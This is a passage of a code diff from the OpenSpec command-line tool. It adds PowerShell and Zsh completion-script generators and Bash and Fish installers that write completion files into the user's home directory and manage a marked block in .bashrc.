||||
|
||||
switch ($command) {
|
||||
${commandCases}
|
||||
}
|
||||
}
|
||||
|
||||
Register-ArgumentCompleter -CommandName openspec -ScriptBlock $openspecCompleter
|
||||
`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate completion case for a command
|
||||
*/
|
||||
private generateCommandCase(cmd: CommandDefinition, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
if (cmd.subcommands && cmd.subcommands.length > 0) {
|
||||
// First, check if user is typing a flag for the parent command
|
||||
if (cmd.flags.length > 0) {
|
||||
lines.push(`${indent}if ($wordToComplete -like "-*") {`);
|
||||
lines.push(`${indent} $flags = @(`);
|
||||
for (const flag of cmd.flags) {
|
||||
const longFlag = `--${flag.name}`;
|
||||
const shortFlag = flag.short ? `-${flag.short}` : undefined;
|
||||
if (shortFlag) {
|
||||
lines.push(`${indent} @{Name="${longFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
lines.push(`${indent} @{Name="${shortFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
} else {
|
||||
lines.push(`${indent} @{Name="${longFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
}
|
||||
}
|
||||
this.stripTrailingCommaFromLastLine(lines);
|
||||
lines.push(`${indent} )`);
|
||||
lines.push(`${indent} $flags | Where-Object { $_.Name -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_.Name, $_.Name, "ParameterName", $_.Description)`);
|
||||
lines.push(`${indent} }`);
|
||||
lines.push(`${indent} return`);
|
||||
lines.push(`${indent}}`);
|
||||
lines.push('');
|
||||
}
|
||||
|
||||
// Handle subcommands
|
||||
lines.push(`${indent}if ($commandCount -eq 2 -or ($commandCount -eq 3 -and $wordToComplete)) {`);
|
||||
lines.push(`${indent} $subcommands = @(`);
|
||||
for (const subcmd of cmd.subcommands) {
|
||||
lines.push(`${indent} @{Name="${subcmd.name}"; Description="${this.escapeDescription(subcmd.description)}"},`);
|
||||
}
|
||||
this.stripTrailingCommaFromLastLine(lines);
|
||||
lines.push(`${indent} )`);
|
||||
lines.push(`${indent} $subcommands | Where-Object { $_.Name -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_.Name, $_.Name, "ParameterValue", $_.Description)`);
|
||||
lines.push(`${indent} }`);
|
||||
lines.push(`${indent} return`);
|
||||
lines.push(`${indent}}`);
|
||||
lines.push('');
|
||||
lines.push(`${indent}$subcommand = if ($commandCount -gt 2) { $tokens[2] } else { "" }`);
|
||||
lines.push(`${indent}switch ($subcommand) {`);
|
||||
|
||||
for (const subcmd of cmd.subcommands) {
|
||||
lines.push(`${indent} "${subcmd.name}" {`);
|
||||
lines.push(...this.generateArgumentCompletion(subcmd, indent + ' '));
|
||||
lines.push(`${indent} }`);
|
||||
}
|
||||
|
||||
lines.push(`${indent}}`);
|
||||
} else {
|
||||
// No subcommands
|
||||
lines.push(...this.generateArgumentCompletion(cmd, indent));
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate argument completion (flags and positional)
|
||||
*/
|
||||
private generateArgumentCompletion(cmd: CommandDefinition, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
// Flag completion
|
||||
if (cmd.flags.length > 0) {
|
||||
lines.push(`${indent}if ($wordToComplete -like "-*") {`);
|
||||
lines.push(`${indent} $flags = @(`);
|
||||
for (const flag of cmd.flags) {
|
||||
const longFlag = `--${flag.name}`;
|
||||
const shortFlag = flag.short ? `-${flag.short}` : undefined;
|
||||
if (shortFlag) {
|
||||
lines.push(`${indent} @{Name="${longFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
lines.push(`${indent} @{Name="${shortFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
} else {
|
||||
lines.push(`${indent} @{Name="${longFlag}"; Description="${this.escapeDescription(flag.description)}"},`);
|
||||
}
|
||||
}
|
||||
this.stripTrailingCommaFromLastLine(lines);
|
||||
lines.push(`${indent} )`);
|
||||
lines.push(`${indent} $flags | Where-Object { $_.Name -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_.Name, $_.Name, "ParameterName", $_.Description)`);
|
||||
lines.push(`${indent} }`);
|
||||
lines.push(`${indent} return`);
|
||||
lines.push(`${indent}}`);
|
||||
lines.push('');
|
||||
}
|
||||
|
||||
// Positional completion
|
||||
if (cmd.acceptsPositional) {
|
||||
lines.push(...this.generatePositionalCompletion(cmd.positionalType, indent));
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate positional argument completion
|
||||
*/
|
||||
private generatePositionalCompletion(positionalType: string | undefined, indent: string): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
switch (positionalType) {
|
||||
case 'change-id':
|
||||
lines.push(`${indent}Get-OpenSpecChanges | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", "Change: $_")`);
|
||||
lines.push(`${indent}}`);
|
||||
break;
|
||||
case 'spec-id':
|
||||
lines.push(`${indent}Get-OpenSpecSpecs | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", "Spec: $_")`);
|
||||
lines.push(`${indent}}`);
|
||||
break;
|
||||
case 'change-or-spec-id':
|
||||
lines.push(`${indent}$items = @(Get-OpenSpecChanges) + @(Get-OpenSpecSpecs)`);
|
||||
lines.push(`${indent}$items | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", $_)`);
|
||||
lines.push(`${indent}}`);
|
||||
break;
|
||||
case 'shell':
|
||||
lines.push(`${indent}$shells = @("zsh", "bash", "fish", "powershell")`);
|
||||
lines.push(`${indent}$shells | Where-Object { $_ -like "$wordToComplete*" } | ForEach-Object {`);
|
||||
lines.push(`${indent} [System.Management.Automation.CompletionResult]::new($_, $_, "ParameterValue", "Shell: $_")`);
|
||||
lines.push(`${indent}}`);
|
||||
break;
|
||||
case 'path':
|
||||
// PowerShell handles file path completion automatically
|
||||
break;
|
||||
}
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Escape description text for PowerShell
|
||||
*/
|
||||
private escapeDescription(description: string): string {
|
||||
return description
|
||||
.replace(/`/g, '``') // Backticks (escape sequences)
|
||||
.replace(/\$/g, '`$') // Dollar signs (prevents $())
|
||||
.replace(/"/g, '""'); // Double quotes
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import { CompletionGenerator, CommandDefinition, FlagDefinition } from '../types.js';
|
||||
import { ZSH_DYNAMIC_HELPERS } from '../templates/zsh-templates.js';
|
||||
|
||||
/**
|
||||
* Generates Zsh completion scripts for the OpenSpec CLI.
|
||||
@@ -14,163 +15,69 @@ export class ZshGenerator implements CompletionGenerator {
|
||||
* @returns Zsh completion script as a string
|
||||
*/
|
||||
generate(commands: CommandDefinition[]): string {
|
||||
const script: string[] = [];
|
||||
|
||||
// Header comment
|
||||
script.push('#compdef openspec');
|
||||
script.push('');
|
||||
script.push('# Zsh completion script for OpenSpec CLI');
|
||||
script.push('# Auto-generated - do not edit manually');
|
||||
script.push('');
|
||||
|
||||
// Main completion function
|
||||
script.push('_openspec() {');
|
||||
script.push(' local context state line');
|
||||
script.push(' typeset -A opt_args');
|
||||
script.push('');
|
||||
|
||||
// Generate main command argument specification
|
||||
script.push(' local -a commands');
|
||||
script.push(' commands=(');
|
||||
// Build command list using push() for loop clarity
|
||||
const commandLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
const escapedDesc = this.escapeDescription(cmd.description);
|
||||
script.push(` '${cmd.name}:${escapedDesc}'`);
|
||||
commandLines.push(` '${cmd.name}:${escapedDesc}'`);
|
||||
}
|
||||
script.push(' )');
|
||||
script.push('');
|
||||
const commandList = commandLines.join('\n');
|
||||
|
||||
// Main _arguments call
|
||||
script.push(' _arguments -C \\');
|
||||
script.push(' "1: :->command" \\');
|
||||
script.push(' "*::arg:->args"');
|
||||
script.push('');
|
||||
|
||||
// Command dispatch logic
|
||||
script.push(' case $state in');
|
||||
script.push(' command)');
|
||||
script.push(' _describe "openspec command" commands');
|
||||
script.push(' ;;');
|
||||
script.push(' args)');
|
||||
script.push(' case $words[1] in');
|
||||
|
||||
// Generate completion for each command
|
||||
// Build command cases using push() for loop clarity
|
||||
const commandCaseLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
script.push(` ${cmd.name})`);
|
||||
script.push(` _openspec_${this.sanitizeFunctionName(cmd.name)}`);
|
||||
script.push(' ;;');
|
||||
commandCaseLines.push(` ${cmd.name})`);
|
||||
commandCaseLines.push(` _openspec_${this.sanitizeFunctionName(cmd.name)}`);
|
||||
commandCaseLines.push(' ;;');
|
||||
}
|
||||
const commandCases = commandCaseLines.join('\n');
|
||||
|
||||
script.push(' esac');
|
||||
script.push(' ;;');
|
||||
script.push(' esac');
|
||||
script.push('}');
|
||||
script.push('');
|
||||
|
||||
// Generate individual command completion functions
|
||||
// Build command functions using push() for loop clarity
|
||||
const commandFunctionLines: string[] = [];
|
||||
for (const cmd of commands) {
|
||||
script.push(...this.generateCommandFunction(cmd));
|
||||
script.push('');
|
||||
commandFunctionLines.push(...this.generateCommandFunction(cmd));
|
||||
commandFunctionLines.push('');
|
||||
}
|
||||
const commandFunctions = commandFunctionLines.join('\n');
|
||||
|
||||
// Add dynamic completion helper functions
|
||||
script.push(...this.generateDynamicCompletionHelpers());
|
||||
// Dynamic completion helpers from template
|
||||
const helpers = ZSH_DYNAMIC_HELPERS;
|
||||
|
||||
// Register the completion function
|
||||
script.push('compdef _openspec openspec');
|
||||
script.push('');
|
||||
// Assemble final script with template literal
|
||||
return `#compdef openspec
|
||||
|
||||
return script.join('\n');
|
||||
}
|
||||
# Zsh completion script for OpenSpec CLI
|
||||
# Auto-generated - do not edit manually
|
||||
|
||||
/**
|
||||
* Generate a single completion function
|
||||
*
|
||||
* @param functionName - Name of the completion function
|
||||
* @param varName - Name of the local array variable
|
||||
* @param varLabel - Label for the completion items
|
||||
* @param commandLines - Command line(s) to populate the array
|
||||
* @param comment - Optional comment describing the function
|
||||
*/
|
||||
private generateCompletionFunction(
|
||||
functionName: string,
|
||||
varName: string,
|
||||
varLabel: string,
|
||||
commandLines: string[],
|
||||
comment?: string
|
||||
): string[] {
|
||||
const lines: string[] = [];
|
||||
_openspec() {
|
||||
local context state line
|
||||
typeset -A opt_args
|
||||
|
||||
if (comment) {
|
||||
lines.push(comment);
|
||||
}
|
||||
local -a commands
|
||||
commands=(
|
||||
${commandList}
|
||||
)
|
||||
|
||||
lines.push(`${functionName}() {`);
|
||||
lines.push(` local -a ${varName}`);
|
||||
_arguments -C \\
|
||||
"1: :->command" \\
|
||||
"*::arg:->args"
|
||||
|
||||
if (commandLines.length === 1) {
|
||||
lines.push(` ${commandLines[0]}`);
|
||||
} else {
|
||||
lines.push(` ${varName}=(`);
|
||||
for (let i = 0; i < commandLines.length; i++) {
|
||||
const suffix = i < commandLines.length - 1 ? ' \\' : '';
|
||||
lines.push(` ${commandLines[i]}${suffix}`);
|
||||
}
|
||||
lines.push(' )');
|
||||
}
|
||||
case $state in
|
||||
command)
|
||||
_describe "openspec command" commands
|
||||
;;
|
||||
args)
|
||||
case $words[1] in
|
||||
${commandCases}
|
||||
esac
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
lines.push(` _describe "${varLabel}" ${varName}`);
|
||||
lines.push('}');
|
||||
lines.push('');
|
||||
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate dynamic completion helper functions for change and spec IDs
|
||||
*/
|
||||
private generateDynamicCompletionHelpers(): string[] {
|
||||
const lines: string[] = [];
|
||||
|
||||
lines.push('# Dynamic completion helpers');
|
||||
lines.push('');
|
||||
|
||||
// Helper function for completing change IDs
|
||||
lines.push('# Use openspec __complete to get available changes');
|
||||
lines.push('_openspec_complete_changes() {');
|
||||
lines.push(' local -a changes');
|
||||
lines.push(' while IFS=$\'\\t\' read -r id desc; do');
|
||||
lines.push(' changes+=("$id:$desc")');
|
||||
lines.push(' done < <(openspec __complete changes 2>/dev/null)');
|
||||
lines.push(' _describe "change" changes');
|
||||
lines.push('}');
|
||||
lines.push('');
|
||||
|
||||
// Helper function for completing spec IDs
|
||||
lines.push('# Use openspec __complete to get available specs');
|
||||
lines.push('_openspec_complete_specs() {');
|
||||
lines.push(' local -a specs');
|
||||
lines.push(' while IFS=$\'\\t\' read -r id desc; do');
|
||||
lines.push(' specs+=("$id:$desc")');
|
||||
lines.push(' done < <(openspec __complete specs 2>/dev/null)');
|
||||
lines.push(' _describe "spec" specs');
|
||||
lines.push('}');
|
||||
lines.push('');
|
||||
|
||||
// Helper function for completing both changes and specs
|
||||
lines.push('# Get both changes and specs');
|
||||
lines.push('_openspec_complete_items() {');
|
||||
lines.push(' local -a items');
|
||||
lines.push(' while IFS=$\'\\t\' read -r id desc; do');
|
||||
lines.push(' items+=("$id:$desc")');
|
||||
lines.push(' done < <(openspec __complete changes 2>/dev/null)');
|
||||
lines.push(' while IFS=$\'\\t\' read -r id desc; do');
|
||||
lines.push(' items+=("$id:$desc")');
|
||||
lines.push(' done < <(openspec __complete specs 2>/dev/null)');
|
||||
lines.push(' _describe "item" items');
|
||||
lines.push('}');
|
||||
lines.push('');
|
||||
|
||||
return lines;
|
||||
${commandFunctions}
|
||||
${helpers}
|
||||
compdef _openspec openspec
|
||||
`;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -337,7 +244,7 @@ export class ZshGenerator implements CompletionGenerator {
|
||||
case 'path':
|
||||
return "'*:path:_files'";
|
||||
case 'shell':
|
||||
return "'*:shell:(zsh)'";
|
||||
return "'*:shell:(zsh bash fish powershell)'";
|
||||
default:
|
||||
return "'*: :_default'";
|
||||
}
|
||||
|
||||
@@ -0,0 +1,366 @@
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { FileSystemUtils } from '../../../utils/file-system.js';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
|
||||
/**
|
||||
* Installer for Bash completion scripts.
|
||||
* Supports bash-completion package and standalone installations.
|
||||
*/
|
||||
export class BashInstaller {
|
||||
private readonly homeDir: string;
|
||||
|
||||
/**
|
||||
* Markers for .bashrc configuration management
|
||||
*/
|
||||
private readonly BASHRC_MARKERS = {
|
||||
start: '# OPENSPEC:START',
|
||||
end: '# OPENSPEC:END',
|
||||
};
|
||||
|
||||
constructor(homeDir: string = os.homedir()) {
|
||||
this.homeDir = homeDir;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if bash-completion is installed
|
||||
*
|
||||
* @returns true if bash-completion directories exist
|
||||
*/
|
||||
async isBashCompletionInstalled(): Promise<boolean> {
|
||||
const paths = [
|
||||
'/usr/share/bash-completion', // Linux system-wide
|
||||
'/usr/local/share/bash-completion', // Homebrew Intel (main)
|
||||
'/opt/homebrew/etc/bash_completion.d', // Homebrew Apple Silicon
|
||||
'/usr/local/etc/bash_completion.d', // Homebrew Intel (alt path)
|
||||
'/etc/bash_completion.d', // Legacy fallback
|
||||
];
|
||||
|
||||
for (const p of paths) {
|
||||
try {
|
||||
const stat = await fs.stat(p);
|
||||
if (stat.isDirectory()) {
|
||||
return true;
|
||||
}
|
||||
} catch {
|
||||
// Continue checking other paths
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the appropriate installation path for the completion script
|
||||
*
|
||||
* @returns Installation path
|
||||
*/
|
||||
async getInstallationPath(): Promise<string> {
|
||||
// Try user-local bash-completion directory first
|
||||
const localCompletionDir = path.join(this.homeDir, '.local', 'share', 'bash-completion', 'completions');
|
||||
|
||||
// For user installation, use local directory
|
||||
return path.join(localCompletionDir, 'openspec');
|
||||
}
|
||||
|
||||
/**
|
||||
* Backup an existing completion file if it exists
|
||||
*
|
||||
* @param targetPath - Path to the file to backup
|
||||
* @returns Path to the backup file, or undefined if no backup was needed
|
||||
*/
|
||||
async backupExistingFile(targetPath: string): Promise<string | undefined> {
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
// File exists, create a backup
|
||||
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
||||
const backupPath = `${targetPath}.backup-${timestamp}`;
|
||||
await fs.copyFile(targetPath, backupPath);
|
||||
return backupPath;
|
||||
} catch {
|
||||
// File doesn't exist, no backup needed
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the path to .bashrc file
|
||||
*
|
||||
* @returns Path to .bashrc
|
||||
*/
|
||||
private getBashrcPath(): string {
|
||||
return path.join(this.homeDir, '.bashrc');
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate .bashrc configuration content
|
||||
*
|
||||
* @param completionsDir - Directory containing completion scripts
|
||||
* @returns Configuration content
|
||||
*/
|
||||
private generateBashrcConfig(completionsDir: string): string {
|
||||
return [
|
||||
'# OpenSpec shell completions configuration',
|
||||
`if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
'fi',
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
/**
|
||||
* Configure .bashrc to enable completions
|
||||
*
|
||||
* @param completionsDir - Directory containing completion scripts
|
||||
* @returns true if configured successfully, false otherwise
|
||||
*/
|
||||
async configureBashrc(completionsDir: string): Promise<boolean> {
|
||||
// Check if auto-configuration is disabled
|
||||
if (process.env.OPENSPEC_NO_AUTO_CONFIG === '1') {
|
||||
return false;
|
||||
}
|
||||
|
||||
try {
|
||||
const bashrcPath = this.getBashrcPath();
|
||||
const config = this.generateBashrcConfig(completionsDir);
|
||||
|
||||
// Check write permissions
|
||||
const canWrite = await FileSystemUtils.canWriteFile(bashrcPath);
|
||||
if (!canWrite) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Use marker-based update
|
||||
await FileSystemUtils.updateFileWithMarkers(
|
||||
bashrcPath,
|
||||
config,
|
||||
this.BASHRC_MARKERS.start,
|
||||
this.BASHRC_MARKERS.end
|
||||
);
|
||||
|
||||
return true;
|
||||
} catch (error: any) {
|
||||
// Fail gracefully - don't break installation
|
||||
console.debug(`Unable to configure .bashrc for completions: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove .bashrc configuration
|
||||
* Used during uninstallation
|
||||
*
|
||||
* @returns true if removed successfully, false otherwise
|
||||
*/
|
||||
async removeBashrcConfig(): Promise<boolean> {
|
||||
try {
|
||||
const bashrcPath = this.getBashrcPath();
|
||||
|
||||
// Check if file exists
|
||||
try {
|
||||
await fs.access(bashrcPath);
|
||||
} catch {
|
||||
// File doesn't exist, nothing to remove
|
||||
return true;
|
||||
}
|
||||
|
||||
// Read file content
|
||||
const content = await fs.readFile(bashrcPath, 'utf-8');
|
||||
|
||||
// Check if markers exist
|
||||
if (!content.includes(this.BASHRC_MARKERS.start) || !content.includes(this.BASHRC_MARKERS.end)) {
|
||||
// Markers don't exist, nothing to remove
|
||||
return true;
|
||||
}
|
||||
|
||||
// Remove content between markers (including markers)
|
||||
const lines = content.split('\n');
|
||||
const startIndex = lines.findIndex((line) => line.trim() === this.BASHRC_MARKERS.start);
|
||||
const endIndex = lines.findIndex((line) => line.trim() === this.BASHRC_MARKERS.end);
|
||||
|
||||
if (startIndex === -1 || endIndex === -1 || endIndex < startIndex) {
|
||||
// Invalid marker placement
|
||||
return false;
|
||||
}
|
||||
|
||||
// Remove lines between markers (inclusive)
|
||||
lines.splice(startIndex, endIndex - startIndex + 1);
|
||||
|
||||
// Remove trailing empty lines
|
||||
while (lines.length > 0 && lines[lines.length - 1].trim() === '') {
|
||||
lines.pop();
|
||||
}
|
||||
|
||||
// Write back
|
||||
await fs.writeFile(bashrcPath, lines.join('\n'), 'utf-8');
|
||||
|
||||
return true;
|
||||
} catch (error: any) {
|
||||
// Fail gracefully
|
||||
console.debug(`Unable to remove .bashrc configuration: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Install the completion script
|
||||
*
|
||||
* @param completionScript - The completion script content to install
|
||||
* @returns Installation result with status and instructions
|
||||
*/
|
||||
async install(completionScript: string): Promise<InstallationResult> {
|
||||
try {
|
||||
const targetPath = await this.getInstallationPath();
|
||||
|
||||
// Check for bash-completion package
|
||||
const hasBashCompletion = await this.isBashCompletionInstalled();
|
||||
|
||||
// Check if already installed with same content
|
||||
let isUpdate = false;
|
||||
try {
|
||||
const existingContent = await fs.readFile(targetPath, 'utf-8');
|
||||
if (existingContent === completionScript) {
|
||||
// Already installed and up to date
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
message: 'Completion script is already installed (up to date)',
|
||||
instructions: [
|
||||
'The completion script is already installed and up to date.',
|
||||
'If completions are not working, try: exec bash',
|
||||
],
|
||||
};
|
||||
}
|
||||
// File exists but content is different - this is an update
|
||||
isUpdate = true;
|
||||
} catch (error: any) {
|
||||
// File doesn't exist or can't be read, proceed with installation
|
||||
console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`);
|
||||
}
|
||||
|
||||
// Ensure the directory exists
|
||||
const targetDir = path.dirname(targetPath);
|
||||
await fs.mkdir(targetDir, { recursive: true });
|
||||
|
||||
// Backup existing file if updating
|
||||
const backupPath = isUpdate ? await this.backupExistingFile(targetPath) : undefined;
|
||||
|
||||
// Write the completion script
|
||||
await fs.writeFile(targetPath, completionScript, 'utf-8');
|
||||
|
||||
// Auto-configure .bashrc
|
||||
const bashrcConfigured = await this.configureBashrc(targetDir);
|
||||
|
||||
// Generate instructions if .bashrc wasn't auto-configured
|
||||
const instructions = bashrcConfigured ? undefined : this.generateInstructions(targetPath);
|
||||
|
||||
// Collect warnings
|
||||
const warnings: string[] = [];
|
||||
if (!hasBashCompletion) {
|
||||
warnings.push(
|
||||
'⚠️ Warning: bash-completion package not detected',
|
||||
'',
|
||||
'The completion script requires bash-completion to function.',
|
||||
'Install it with:',
|
||||
' brew install bash-completion@2',
|
||||
'',
|
||||
'Then add to your ~/.bash_profile:',
|
||||
' [[ -r "/opt/homebrew/etc/profile.d/bash_completion.sh" ]] && . "/opt/homebrew/etc/profile.d/bash_completion.sh"'
|
||||
);
|
||||
}
|
||||
|
||||
// Determine appropriate message
|
||||
let message: string;
|
||||
if (isUpdate) {
|
||||
message = backupPath
|
||||
? 'Completion script updated successfully (previous version backed up)'
|
||||
: 'Completion script updated successfully';
|
||||
} else {
|
||||
message = bashrcConfigured
|
||||
? 'Completion script installed and .bashrc configured successfully'
|
||||
: 'Completion script installed successfully for Bash';
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
backupPath,
|
||||
bashrcConfigured,
|
||||
message,
|
||||
instructions,
|
||||
warnings: warnings.length > 0 ? warnings : undefined,
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to install completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate user instructions for enabling completions
|
||||
*
|
||||
* @param installedPath - Path where the script was installed
|
||||
* @returns Array of instruction strings
|
||||
*/
|
||||
private generateInstructions(installedPath: string): string[] {
|
||||
const completionsDir = path.dirname(installedPath);
|
||||
|
||||
return [
|
||||
'Completion script installed successfully.',
|
||||
'',
|
||||
'To enable completions, add the following to your ~/.bashrc file:',
|
||||
'',
|
||||
` # Source OpenSpec completions`,
|
||||
` if [ -d "${completionsDir}" ]; then`,
|
||||
` for f in "${completionsDir}"/*; do`,
|
||||
' [ -f "$f" ] && . "$f"',
|
||||
' done',
|
||||
' fi',
|
||||
'',
|
||||
'Then restart your shell or run: exec bash',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Uninstall the completion script
|
||||
*
|
||||
* @param options - Optional uninstall options
|
||||
* @param options.yes - Skip confirmation prompt (handled by command layer)
|
||||
* @returns Uninstallation result
|
||||
*/
|
||||
async uninstall(options?: { yes?: boolean }): Promise<{ success: boolean; message: string }> {
|
||||
try {
|
||||
const targetPath = await this.getInstallationPath();
|
||||
|
||||
// Check if installed
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
} catch {
|
||||
return {
|
||||
success: false,
|
||||
message: 'Completion script is not installed',
|
||||
};
|
||||
}
|
||||
|
||||
// Remove the completion script
|
||||
await fs.unlink(targetPath);
|
||||
|
||||
// Remove .bashrc configuration
|
||||
await this.removeBashrcConfig();
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: 'Completion script uninstalled successfully',
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to uninstall completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
import { promises as fs } from 'fs';
|
||||
import path from 'path';
|
||||
import os from 'os';
|
||||
import { InstallationResult } from '../factory.js';
|
||||
|
||||
/**
|
||||
* Installer for Fish completion scripts.
|
||||
* Fish automatically loads completions from ~/.config/fish/completions/
|
||||
*/
|
||||
export class FishInstaller {
|
||||
private readonly homeDir: string;
|
||||
|
||||
constructor(homeDir: string = os.homedir()) {
|
||||
this.homeDir = homeDir;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the installation path for Fish completions
|
||||
*
|
||||
* @returns Installation path
|
||||
*/
|
||||
getInstallationPath(): string {
|
||||
return path.join(this.homeDir, '.config', 'fish', 'completions', 'openspec.fish');
|
||||
}
|
||||
|
||||
/**
|
||||
* Backup an existing completion file if it exists
|
||||
*
|
||||
* @param targetPath - Path to the file to backup
|
||||
* @returns Path to the backup file, or undefined if no backup was needed
|
||||
*/
|
||||
async backupExistingFile(targetPath: string): Promise<string | undefined> {
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
// File exists, create a backup
|
||||
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
||||
const backupPath = `${targetPath}.backup-${timestamp}`;
|
||||
await fs.copyFile(targetPath, backupPath);
|
||||
return backupPath;
|
||||
} catch {
|
||||
// File doesn't exist, no backup needed
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Install the completion script
|
||||
*
|
||||
* @param completionScript - The completion script content to install
|
||||
* @returns Installation result with status and instructions
|
||||
*/
|
||||
async install(completionScript: string): Promise<InstallationResult> {
|
||||
try {
|
||||
const targetPath = this.getInstallationPath();
|
||||
|
||||
// Check if already installed with same content
|
||||
let isUpdate = false;
|
||||
try {
|
||||
const existingContent = await fs.readFile(targetPath, 'utf-8');
|
||||
if (existingContent === completionScript) {
|
||||
// Already installed and up to date
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
message: 'Completion script is already installed (up to date)',
|
||||
instructions: [
|
||||
'The completion script is already installed and up to date.',
|
||||
'Fish automatically loads completions - they should be available immediately.',
|
||||
],
|
||||
};
|
||||
}
|
||||
// File exists but content is different - this is an update
|
||||
isUpdate = true;
|
||||
} catch (error: any) {
|
||||
// File doesn't exist or can't be read, proceed with installation
|
||||
console.debug(`Unable to read existing completion file at ${targetPath}: ${error.message}`);
|
||||
}
|
||||
|
||||
// Ensure the directory exists
|
||||
const targetDir = path.dirname(targetPath);
|
||||
await fs.mkdir(targetDir, { recursive: true });
|
||||
|
||||
// Backup existing file if updating
|
||||
const backupPath = isUpdate ? await this.backupExistingFile(targetPath) : undefined;
|
||||
|
||||
// Write the completion script
|
||||
await fs.writeFile(targetPath, completionScript, 'utf-8');
|
||||
|
||||
// Determine appropriate message
|
||||
let message: string;
|
||||
if (isUpdate) {
|
||||
message = backupPath
|
||||
? 'Completion script updated successfully (previous version backed up)'
|
||||
: 'Completion script updated successfully';
|
||||
} else {
|
||||
message = 'Completion script installed successfully for Fish';
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
installedPath: targetPath,
|
||||
backupPath,
|
||||
message,
|
||||
instructions: [
|
||||
'Fish automatically loads completions from ~/.config/fish/completions/',
|
||||
'Completions are available immediately - no shell restart needed.',
|
||||
],
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to install completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Uninstall the completion script
|
||||
*
|
||||
* @param options - Optional uninstall options
|
||||
* @param options.yes - Skip confirmation prompt (handled by command layer)
|
||||
* @returns Uninstallation result
|
||||
*/
|
||||
async uninstall(options?: { yes?: boolean }): Promise<{ success: boolean; message: string }> {
|
||||
try {
|
||||
const targetPath = this.getInstallationPath();
|
||||
|
||||
// Check if installed
|
||||
try {
|
||||
await fs.access(targetPath);
|
||||
} catch {
|
||||
return {
|
||||
success: false,
|
||||
message: 'Completion script is not installed',
|
||||
};
|
||||
}
|
||||
|
||||
// Remove the completion script
|
||||
await fs.unlink(targetPath);
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: 'Completion script uninstalled successfully',
|
||||
};
|
||||
} catch (error) {
|
||||
return {
|
||||
success: false,
|
||||
message: `Failed to uninstall completion script: ${error instanceof Error ? error.message : String(error)}`,
|
||||
};
